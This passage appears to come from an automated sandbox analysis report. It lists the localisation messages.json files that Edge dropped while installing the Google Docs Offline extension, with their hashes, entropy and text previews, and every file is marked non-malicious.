SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
